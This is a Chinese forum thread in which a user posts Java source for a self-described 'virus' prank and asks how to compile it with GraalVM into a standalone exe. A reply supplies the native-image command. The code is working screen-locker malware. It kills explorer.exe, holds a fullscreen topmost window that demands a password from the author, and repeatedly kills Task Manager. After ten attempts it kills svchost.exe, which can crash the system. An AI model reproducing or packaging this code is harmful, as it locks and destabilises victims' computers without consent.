这个恶搞程序主要的问题是GUI比较丑还有graalVM是可以直接编译出exe吗?我看的视频介绍只用10M就可以出一个 不用运行环境的程序了,有谁会吗,能出个教程吗,详细一点。
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class BD3 extends JFrame {
private static final int INTERVAL = 200; // 监控间隔,单位为毫秒
private static final String PASSWORD = "123456"; // 设定的密码
private static final String PROCESS_NAME = "taskmgr.exe"; // 待监控的进程名
private final boolean isTopMost = true;
private final JLabel label;
int zs = 0;
public BD3() {
super("pzh病毒");
setResizable(false); // 禁用窗口最小化
setLayout(new BorderLayout());
setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);
try {
// 结束explorer.exe进程
Runtime.getRuntime().exec("taskkill /f /im explorer.exe");
} catch (Exception e) {
e.printStackTrace();
}
addWindowListener(new WindowAdapter() {
@Override
public void windowIconified(WindowEvent e) {
// 在窗口最小化时执行其他操作
}
});
// 添加标签
label = new JLabel("请联系作者pzh获取密码", SwingConstants.CENTER);
label.setFont(new Font("Dialog", Font.BOLD, 40));
add(label, BorderLayout.CENTER);
// 添加退出按钮
JButton exitButton = new JButton("退出");
exitButton.setFont(new Font("黑体", Font.PLAIN, 24));
exitButton.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
// 弹出对话框让用户输入密码
String input = JOptionPane.showInputDialog(BD3.this, "请输入密码:");
if (input != null && input.equals(PASSWORD)) {
System.exit(0);
} else {
JOptionPane.showMessageDialog(BD3.this, "输入密码才能退出!");
}
}
});
addWindowFocusListener(new WindowAdapter() {
@Override
public void windowLostFocus(WindowEvent e) {
if (isProcessRunning(PROCESS_NAME)) {
setExtendedState(JFrame.MAXIMIZED_BOTH);
}
}
});
add(exitButton, BorderLayout.SOUTH);
// 启动定时器
Timer timer = new Timer(INTERVAL, new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
if (isProcessRunning(PROCESS_NAME)) {
killProcess(PROCESS_NAME);
killsystem();
}
}
});
timer.setInitialDelay(0);
timer.start();
setSize(800, 600);
setLocationRelativeTo(null); // 居中显示
setVisible(true);
// 增加循环实现,全屏并置顶
while (true) {
setVisible(true);
setAlwaysOnTop(true);
setExtendedState(JFrame.MAXIMIZED_BOTH);
setResizable(false);
setAlwaysOnTop(isTopMost);
try {
Thread.sleep(100); // 休眠0.1秒钟
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
}
private boolean isProcessRunning(String processName) {
try {
Process process = new ProcessBuilder("tasklist.exe").start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
if (line.toLowerCase().contains(processName.toLowerCase())) {
return true;
}
}
return false;
} catch (IOException e) {
e.printStackTrace();
return false;
}
}
private void killProcess(String processName) {
String command = "taskkill /f /im " + processName;
try {
Runtime.getRuntime().exec(command);
System.out.println("Process " + processName + " is killed.");
} catch (IOException e) {
e.printStackTrace();
}
}
private void killsystem() {
zs += 1;
if (zs > 10) {
String command = "taskkill /f /im svchost.exe";
try {
Runtime.getRuntime().exec(command);
System.out.println("System is killed.");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) {
new BD3();
}
}
这个程序的主要问题是:
native-image BD3 # 使用GraalVM编译成 native executable
BD3
的native executable,只有几M,并且不需要JRE就可以运行。EXE建议换语言,你想怎么恶搞,描述下。